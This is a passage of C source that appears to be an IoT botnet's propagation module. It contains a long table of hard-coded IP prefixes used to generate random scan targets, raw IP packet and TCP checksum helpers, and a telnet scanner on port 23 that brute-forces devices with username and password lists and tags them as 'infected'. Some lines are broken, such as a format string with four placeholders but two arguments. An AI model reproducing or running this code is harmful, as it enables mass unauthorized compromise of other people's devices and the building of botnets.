  951. {
  952. szprintf(ip, "49.145.%d.%d", ipState[3], ipState[4]);
  953. }
  954. if(randnum == 81)
  955. {
  956. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  957. }
  958. if(randnum == 82)
  959. {
  960. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  961. }
  962. if(randnum == 83)
  963. {
  964. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  965. }
  966. if(randnum == 84)
  967. {
  968. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  969. }
  970. if(randnum == 85)
  971. {
  972. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  973. }
  974. if(randnum == 86)
  975. {
  976. szprintf(ip, "49.146.%d.%d", ipState[3], ipState[4]);
  977. }
  978. if(randnum == 87)
  979. {
  980. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  981. }
  982. if(randnum == 88)
  983. {
  984. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  985. }
  986. if(randnum == 89)
  987. {
  988. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  989. }
  990. if(randnum == 90)
  991. {
  992. szprintf(ip, "185.106.%d.%d", ipState[3], ipState[4]);
  993. }
  994. if(randnum == 91)
  995. {
  996. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  997. }
  998. if(randnum == 92)
  999. {
  1000. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1001. }
  1002. if(randnum == 93)
  1003. {
  1004. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1005. }
  1006. if(randnum == 94)
  1007. {
  1008. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1009. }
  1010. if(randnum == 95)
  1011. {
  1012. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1013. }
  1014. if(randnum == 96)
  1015. {
  1016. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1017. }
  1018. if(randnum == 97)
  1019. {
  1020. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1021. }
  1022. if(randnum == 98)
  1023. {
  1024. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1025. }
  1026. if(randnum == 99)
  1027. {
  1028. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1029. }
  1030. if(randnum == 100)
  1031. {
  1032. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1033. }
  1034. if(randnum == 101)
  1035. {
  1036. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1037. }
  1038. if(randnum == 102)
  1039. {
  1040. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1041. }
  1042. if(randnum == 103)
  1043. {
  1044. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1045. }
  1046. if(randnum == 104)
  1047. {
  1048. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1049. }
  1050. if(randnum == 105)
  1051. {
  1052. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1053. }
  1054. if(randnum == 106)
  1055. {
  1056. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1057. }
  1058. if(randnum == 107)
  1059. {
  1060. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1061. }
  1062. if(randnum == 108)
  1063. {
  1064. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1065. }
  1066. if(randnum == 109)
  1067. {
  1068. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1069. }
  1070. if(randnum == 100)
  1071. {
  1072. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1073. }
  1074. if(randnum == 101)
  1075. {
  1076. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1077. }
  1078. if(randnum == 102)
  1079. {
  1080. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1081. }
  1082. if(randnum == 103)
  1083. {
  1084. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1085. }
  1086. if(randnum == 104)
  1087. {
  1088. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1089. }
  1090. if(randnum == 105)
  1091. {
  1092. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1093. }
  1094. if(randnum == 106)
  1095. {
  1096. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1097. }
  1098. if(randnum == 107)
  1099. {
  1100. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1101. }
  1102. if(randnum == 108)
  1103. {
  1104. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1105. }
  1106. if(randnum == 109)
  1107. {
  1108. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1109. }
  1110. if(randnum == 110)
  1111. {
  1112. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1113. }
  1114. if(randnum == 111)
  1115. {
  1116. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1117. }
  1118. if(randnum == 112)
  1119. {
  1120. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1121. }
  1122. if(randnum == 113)
  1123. {
  1124. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1125. }
  1126. if(randnum == 114)
  1127. {
  1128. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1129. }
  1130. if(randnum == 115)
  1131. {
  1132. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1133. }
  1134. if(randnum == 116)
  1135. {
  1136. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1137. }
  1138. if(randnum == 117)
  1139. {
  1140. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1141. }
  1142. if(randnum == 118)
  1143. {
  1144. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1145. }
  1146. if(randnum == 119)
  1147. {
  1148. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1149. }
  1150. if(randnum == 120)
  1151. {
  1152. szprintf(ip, "49.147.%d.%d", ipState[3], ipState[4]);
  1153. }
  1154. if(randnum == 121)
  1155. {
  1156. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1157. }
  1158. if(randnum == 122)
  1159. {
  1160. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1161. }
  1162. if(randnum == 123)
  1163. {
  1164. szprintf(ip, "49.148.%d.%d", ipState[3], ipState[4]);
  1165. }
  1166. if(randnum == 124)
  1167. {
  1168. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1169. }
  1170. if(randnum == 125)
  1171. {
  1172. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1173. }
  1174. if(randnum == 126)
  1175. {
  1176. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1177. }
  1178. if(randnum == 127)
  1179. {
  1180. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1181. }
  1182. if(randnum == 128)
  1183. {
  1184. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1185. }
  1186. if(randnum == 129)
  1187. {
  1188. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1189. }
  1190. if(randnum == 130)
  1191. {
  1192. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1193. }
  1194. if(randnum == 131)
  1195. {
  1196. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1197. }
  1198. if(randnum == 132)
  1199. {
  1200. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1201. }
  1202. if(randnum == 133)
  1203. {
  1204. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1205. }
  1206. if(randnum == 134)
  1207. {
  1208. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1209. }
  1210. if(randnum == 135)
  1211. {
  1212. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1213. }
  1214. if(randnum == 136)
  1215. {
  1216. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1217. }
  1218. if(randnum == 137)
  1219. {
  1220. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1221. }
  1222. if(randnum == 138)
  1223. {
  1224. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1225. }
  1226. if(randnum == 139)
  1227. {
  1228. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1229. }
  1230. if(randnum == 140)
  1231. {
  1232. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1233. }
  1234. if(randnum == 141)
  1235. {
  1236. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1237. }
  1238. if(randnum == 142)
  1239. {
  1240. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1241. }
  1242. if(randnum == 143)
  1243. {
  1244. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1245. }
  1246. if(randnum == 144)
  1247. {
  1248. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1249. }
  1250. if(randnum == 145)
  1251. {
  1252. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1253. }
  1254. if(randnum == 146)
  1255. {
  1256. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1257. }
  1258. if(randnum == 147)
  1259. {
  1260. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1261. }
  1262. if(randnum == 148)
  1263. {
  1264. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1265. }
  1266. if(randnum == 149)
  1267. {
  1268. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1269. }
  1270. if(randnum == 150)
  1271. {
  1272. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1273. }
  1274. if(randnum == 151)
  1275. {
  1276. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1277. }
  1278. if(randnum == 152)
  1279. {
  1280. szprintf(ip, "49.149.%d.%d", ipState[3], ipState[4]);
  1281. }
  1282. if(randnum == 153)
  1283. {
  1284. szprintf(ip, "58.69.%d.%d", ipState[3], ipState[4]);
  1285. }
  1286. if(randnum == 154)
  1287. {
  1288. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1289. }
  1290. if(randnum == 155)
  1291. {
  1292. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1293. }
  1294. if(randnum == 156)
  1295. {
  1296. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1297. }
  1298. if(randnum == 157)
  1299. {
  1300. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1301. }
  1302. if(randnum == 158)
  1303. {
  1304. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1305. }
  1306. if(randnum == 159)
  1307. {
  1308. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1309. }
  1310. if(randnum == 160)
  1311. {
  1312. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1313. }
  1314. if(randnum == 161)
  1315. {
  1316. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1317. }
  1318. if(randnum == 162)
  1319. {
  1320. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1321. }
  1322. if(randnum == 163)
  1323. {
  1324. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1325. }
  1326. if(randnum == 164)
  1327. {
  1328. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1329. }
  1330. if(randnum == 165)
  1331. {
  1332. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1333. }
  1334. if(randnum == 166)
  1335. {
  1336. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1337. }
  1338. if(randnum == 167)
  1339. {
  1340. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1341. }
  1342. if(randnum == 168)
  1343. {
  1344. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1345. }
  1346. if(randnum == 169)
  1347. {
  1348. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1349. }
  1350. if(randnum == 170)
  1351. {
  1352. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1353. }
  1354. if(randnum == 171)
  1355. {
  1356. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1357. }
  1358. if(randnum == 172)
  1359. {
  1360. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1361. }
  1362. if(randnum == 173)
  1363. {
  1364. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1365. }
  1366. if(randnum == 174)
  1367. {
  1368. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1369. }
  1370. if(randnum == 175)
  1371. {
  1372. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1373. }
  1374. if(randnum == 176)
  1375. {
  1376. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1377. }
  1378. if(randnum == 177)
  1379. {
  1380. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1381. }
  1382. if(randnum == 178)
  1383. {
  1384. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1385. }
  1386. if(randnum == 179)
  1387. {
  1388. szprintf(ip, "76.9.%d.%d", ipState[3], ipState[4]);
  1389. }
  1390. if(randnum == 180)
  1391. {
  1392. szprintf(ip, "103.82.%d.%d", ipState[3], ipState[4]);
  1393. }
  1394. if(randnum == 181)
  1395. {
  1396. szprintf(ip, "27.124.%d.%d", ipState[3], ipState[4]);
  1397. }
  1398. if(randnum == 182)
  1399. {
  1400. szprintf(ip, "112.200.%d.%d", ipState[3], ipState[4]);
  1401. }
  1402. if(randnum == 183)
  1403. {
  1404. szprintf(ip, "112.201.%d.%d", ipState[3], ipState[4]);
  1405. }
  1406. if(randnum == 184)
  1407. {
  1408. szprintf(ip, "112.202.%d.%d", ipState[3], ipState[4]);
  1409. }
  1410. if(randnum == 185)
  1411. {
  1412. szprintf(ip, "112.203.%d.%d", ipState[3], ipState[4]);
  1413. }
  1414. if(randnum == 186)
  1415. {
  1416. szprintf(ip, "112.204.%d.%d", ipState[3], ipState[4]);
  1417. }
  1418. if(randnum == 187)
  1419. {
  1420. szprintf(ip, "112.205.%d.%d", ipState[3], ipState[4]);
  1421. }
  1422. if(randnum == 188)
  1423. {
  1424. szprintf(ip, "112.206.%d.%d", ipState[3], ipState[4]);
  1425. }
  1426. if(randnum == 189)
  1427. {
  1428. szprintf(ip, "112.207.%d.%d", ipState[3], ipState[4]);
  1429. }
  1430. if(randnum == 190)
  1431. {
  1432. szprintf(ip, "112.208.%d.%d", ipState[3], ipState[4]);
  1433. }
  1434. if(randnum == 191)
  1435. {
  1436. szprintf(ip, "112.209.%d.%d", ipState[3], ipState[4]);
  1437. }
  1438. if(randnum == 192)
  1439. {
  1440. szprintf(ip, "112.210.%d.%d", ipState[3], ipState[4]);
  1441. }
  1442. if(randnum == 193)
  1443. {
  1444. szprintf(ip, "112.%d.%d.%d", ipState[3], ipState[4]);
  1445. }
  1446. if(randnum == 194)
  1447. {
  1448. szprintf(ip, "114.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1449. }
  1450. if(randnum == 195)
  1451. {
  1452. szprintf(ip, "115.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1453. }
  1454. if(randnum == 196)
  1455. {
  1456. szprintf(ip, "117.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1457. }
  1458. if(randnum == 197)
  1459. {
  1460. szprintf(ip, "1.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1461. }
  1462. if(randnum == 198)
  1463. {
  1464. szprintf(ip, "111.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1465. }
  1466. if(randnum == 199)
  1467. {
  1468. szprintf(ip, "116.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1469. }
  1470. if(randnum == 200)
  1471. {
  1472. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  1473. }
  1474. if(randnum == 201)
  1475. {
  1476. szprintf(ip, "78.180.%d.%d", ipState[3], ipState[4]);
  1477. }
  1478. if(randnum == 202)
  1479. {
  1480. szprintf(ip, "78.181.%d.%d", ipState[3], ipState[4]);
  1481. }
  1482. if(randnum == 203)
  1483. {
  1484. szprintf(ip, "78.182.%d.%d", ipState[3], ipState[4]);
  1485. }
  1486. if(randnum == 204)
  1487. {
  1488. szprintf(ip, "78.183.%d.%d", ipState[3], ipState[4]);
  1489. }
  1490. if(randnum == 205)
  1491. {
  1492. szprintf(ip, "78.184.%d.%d", ipState[3], ipState[4]);
  1493. }
  1494. if(randnum == 206)
  1495. {
  1496. szprintf(ip, "78.185.%d.%d", ipState[3], ipState[4]);
  1497. }
  1498. if(randnum == 207)
  1499. {
  1500. szprintf(ip, "95.6.%d.%d", ipState[3], ipState[4]);
  1501. }
  1502. if(randnum == 208)
  1503. {
  1504. szprintf(ip, "78.162.%d.%d", ipState[3], ipState[4]);
  1505. }
  1506. if(randnum == 209)
  1507. {
  1508. szprintf(ip, "78.160.%d.%d", ipState[3], ipState[4]);
  1509. }
  1510. if(randnum == 210)
  1511. {
  1512. szprintf(ip, "85.101.%d.%d", ipState[3], ipState[4]);
  1513. }
  1514. if(randnum == 211)
  1515. {
  1516. szprintf(ip, "88.224.%d.%d", ipState[3], ipState[4]);
  1517. }
  1518. if(randnum == 212)
  1519. {
  1520. szprintf(ip, "88.226.%d.%d", ipState[3], ipState[4]);
  1521. }
  1522. if(randnum == 213)
  1523. {
  1524. szprintf(ip, "88.228.%d.%d", ipState[3], ipState[4]);
  1525. }
  1526. if(randnum == 214)
  1527. {
  1528. szprintf(ip, "212.156.%d.%d", ipState[3], ipState[4]);
  1529. }
  1530. if(randnum == 215)
  1531. {
  1532. szprintf(ip, "88.233.%d.%d", ipState[3], ipState[4]);
  1533. }
  1534. if(randnum == 216)
  1535. {
  1536. szprintf(ip, "169.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1537. }
  1538. if(randnum == 217)
  1539. {
  1540. szprintf(ip, "78.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1541. }
  1542. if(randnum == 218)
  1543. {
  1544. szprintf(ip, "76.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1545. }
  1546. if(randnum == 219)
  1547. {
  1548. szprintf(ip, "88.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1549. }
  1550. if(randnum == 220)
  1551. {
  1552. szprintf(ip, "95.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1553. }
  1554. if(randnum == 221)
  1555. {
  1556. szprintf(ip, "132.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1557. }
  1558. if(randnum == 222)
  1559. {
  1560. szprintf(ip, "190.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1561. }
  1562. if(randnum == 223)
  1563. {
  1564. szprintf(ip, "119.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1565. }
  1566. if(randnum == 224)
  1567. {//hehehhehehehehehe 69 :)
  1568. szprintf(ip, "69.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1569. }
  1570. if(randnum == 225)
  1571. {
  1572. szprintf(ip, "70.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1573. }
  1574. if(randnum == 226)
  1575. {
  1576. szprintf(ip, "183.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1577. }
  1578. if(randnum == 227)
  1579. {
  1580. szprintf(ip, "176.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1581. }
  1582. if(randnum == 228)
  1583. {
  1584. szprintf(ip, "83.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1585. }
  1586. if(randnum == 229)
  1587. {
  1588. szprintf(ip, "220.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1589. }
  1590. if(randnum == 230)
  1591. {
  1592. szprintf(ip, "113.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1593. }
  1594. if(randnum == 231)
  1595. {
  1596. szprintf(ip, "112.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1597. }
  1598. if(randnum == 232)
  1599. {
  1600. szprintf(ip, "110.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1601. }
  1602. if(randnum == 233)
  1603. {
  1604. szprintf(ip, "109.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1605. }
  1606. if(randnum == 234)
  1607. {
  1608. szprintf(ip, "107.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1609. }
  1610. if(randnum == 235)
  1611. {
  1612. szprintf(ip, "106.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1613. }
  1614. if(randnum == 236)
  1615. {
  1616. szprintf(ip, "105.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1617. }
  1618. if(randnum == 237)
  1619. {
  1620. szprintf(ip, "104.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1621. }
  1622. if(randnum == 238)
  1623. {
  1624. szprintf(ip, "103.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1625. }
  1626. if(randnum == 239)
  1627. {
  1628. szprintf(ip, "102.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1629. }
  1630. if(randnum == 240)
  1631. {
  1632. szprintf(ip, "101.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1633. }
  1634. if(randnum == 241)
  1635. {
  1636. szprintf(ip, "100.%d.%d.%d", ipState[2], ipState[3], ipState[4]);
  1637. }
  1638.  
  1639. return inet_addr(ip);
  1640. }
  1641.  
  1642. int rangechoice = 1;
  1643. in_addr_t findARandomIP()
  1644. {
  1645. if(rangechoice < 1 || rangechoice > 2){
  1646. return HackerScan2();
  1647. }else{
  1648. if(rangechoice == 1){
  1649. return HackerScan2();
  1650. }else if(rangechoice == 2){
  1651. return get_random_ip();
  1652. }else{
  1653. return HackerScan2();
  1654. }
  1655. }
  1656. }
  1657.  
  1658. in_addr_t getRandomIP(in_addr_t netmask)
  1659. {
  1660. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1661. return tmp ^ ( rand_cmwc() & ~netmask);
  1662. }
  1663.  
  1664. unsigned short csum (unsigned short *buf, int count)
  1665. {
  1666. register uint64_t sum = 0;
  1667. while( count > 1 ) { sum += *buf++; count -= 2; }
  1668. if(count > 0) { sum += *(unsigned char *)buf; }
  1669. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1670. return (uint16_t)(~sum);
  1671. }
  1672.  
  1673. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1674. {
  1675.  
  1676. struct tcp_pseudo
  1677. {
  1678. unsigned long src_addr;
  1679. unsigned long dst_addr;
  1680. unsigned char zero;
  1681. unsigned char proto;
  1682. unsigned short length;
  1683. } pseudohead;
  1684. unsigned short total_len = iph->tot_len;
  1685. pseudohead.src_addr=iph->saddr;
  1686. pseudohead.dst_addr=iph->daddr;
  1687. pseudohead.zero=0;
  1688. pseudohead.proto=IPPROTO_TCP;
  1689. pseudohead.length=htons(sizeof(struct tcphdr));
  1690. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1691. unsigned short *tcp = malloc(totaltcp_len);
  1692. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1693. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1694. unsigned short output = csum(tcp,totaltcp_len);
  1695. free(tcp);
  1696. return output;
  1697. }
  1698.  
  1699. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1700. {
  1701. iph->ihl = 5;
  1702. iph->version = 4;
  1703. iph->tos = 0;
  1704. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1705. iph->id = rand_cmwc();
  1706. iph->frag_off = 0;
  1707. iph->ttl = MAXTTL;
  1708. iph->protocol = protocol;
  1709. iph->check = 0;
  1710. iph->saddr = source;
  1711. iph->daddr = dest;
  1712. }
  1713.  
  1714. int sclose(int fd)
  1715. {
  1716. if(3 > fd) return 1;
  1717. close(fd);
  1718. return 0;
  1719. }
  1720.  
  1721.  
  1722. struct telstate_t
  1723. {
  1724. int fd;
  1725. unsigned int ip;
  1726. unsigned char state;
  1727. unsigned char complete;
  1728. unsigned char usernameInd;
  1729. unsigned char passwordInd;
  1730. unsigned char tempDirInd;
  1731. unsigned int totalTimeout;
  1732. unsigned short bufUsed;
  1733. char *sockbuf;
  1734. };
  1735. const char* get_telstate_host(struct telstate_t* telstate)
  1736. {
  1737. struct in_addr in_addr_ip;
  1738. in_addr_ip.s_addr = telstate->ip;
  1739. return inet_ntoa(in_addr_ip);
  1740. }
  1741. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char **strings)
  1742. {
  1743. int num_bytes, i;
  1744. memset(buffer, 0, buf_size);
  1745. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1746. if(buffer[0] == 0xFF)
  1747. {
  1748. negotiate(fd, buffer, 3);
  1749. }
  1750. if(contains_string(buffer, strings))
  1751. {
  1752. return 1;
  1753. }
  1754. return 0;
  1755. }
  1756. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1757. {
  1758. fd_set read_set;
  1759. struct timeval tv;
  1760. tv.tv_sec = 0;
  1761. tv.tv_usec = timeout_usec;
  1762. FD_ZERO(&read_set);
  1763. FD_SET(fd, &read_set);
  1764. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1765. return 0;
  1766. return recv(fd, buffer, buf_size, 0);
  1767. }
  1768. int contains_fail(char* buffer)
  1769. {
  1770. return contains_string(buffer, fails);
  1771. }
  1772. int contains_string(char* buffer, char** strings)
  1773. {
  1774. int num_strings = 0, i = 0;
  1775. for(num_strings = 0; strings[++num_strings] != 0; );
  1776. for(i = 0; i < num_strings; i++)
  1777. {
  1778. if(strcasestr(buffer, strings[i]))
  1779. {
  1780. return 1;
  1781. }
  1782. }
  1783. return 0;
  1784. }
  1785. int contains_success(char* buffer)
  1786. {
  1787. return contains_string(buffer, successes);
  1788. }
  1789. char* infected[] = {"BUILD"};
  1790. char* infected2[] = {"BUILD"};
  1791.  
  1792. void StartTheLelz() {
  1793. int i, res, j, wait_usec = 100, max = 1024;
  1794. char buf[128], cur_dir;
  1795. fd_set fdset;
  1796. struct timeval tv;
  1797. socklen_t lon;
  1798. int valopt;
  1799. srand(time(NULL) ^ rand_cmwc());
  1800. char line[256];
  1801. char* buffer;
  1802. struct sockaddr_in dest_addr;
  1803. dest_addr.sin_family = AF_INET;
  1804. dest_addr.sin_port = htons(23);
  1805. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1806. buffer = malloc(1024 + 1);
  1807. memset(buffer, 0, 1024 + 1);
  1808. struct telstate_t fds[max];
  1809. memset(fds, 0, max * (sizeof(int) + 1));
  1810. for(i = 0; i < max; i++) {
  1811. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1812. fds[i].complete = 1;
  1813. fds[i].sockbuf = buffer; }
  1814. while(1) {
  1815. for(i = 0; i < max; i++) {
  1816. if(fds[i].totalTimeout == 0) {
  1817. fds[i].totalTimeout = time(NULL); }
  1818. switch(fds[i].state) {
  1819. case 0: {
  1820. if(fds[i].complete == 1) {
  1821. char *tmp = fds[i].sockbuf;
  1822. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1823. fds[i].sockbuf = tmp;
  1824. fds[i].ip = findARandomIP(); }
  1825. else if(fds[i].complete == 0) {
  1826. fds[i].passwordInd++;
  1827. fds[i].usernameInd++;
  1828. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1829. fds[i].complete = 1;
  1830. continue; }
  1831. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1832. fds[i].complete = 1;
  1833. continue;
  1834. }
  1835. }
  1836. dest_addr.sin_family = AF_INET;
  1837. dest_addr.sin_port = htons(23);
  1838. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1839. dest_addr.sin_addr.s_addr = fds[i].ip;
  1840. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1841. if(fds[i].fd == -1) continue;
  1842. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1843. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1844. sclose(fds[i].fd);
  1845. fds[i].complete = 1; }
  1846. else {
  1847. fds[i].state = 1;
  1848. fds[i].totalTimeout = 0;
  1849. }
  1850. }
  1851. break;
  1852. case 1:
  1853. {
  1854. FD_ZERO(&fdset);
  1855. FD_SET(fds[i].fd, &fdset);
  1856. tv.tv_sec = 0;
  1857. tv.tv_usec = wait_usec;
  1858. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1859. if(res == 1) {
  1860. lon = sizeof(int);
  1861. valopt = 0;
  1862. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1863. if(valopt) {
  1864. sclose(fds[i].fd);
  1865. fds[i].state = 0;
  1866. fds[i].complete = 1;
  1867. } else {
  1868. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
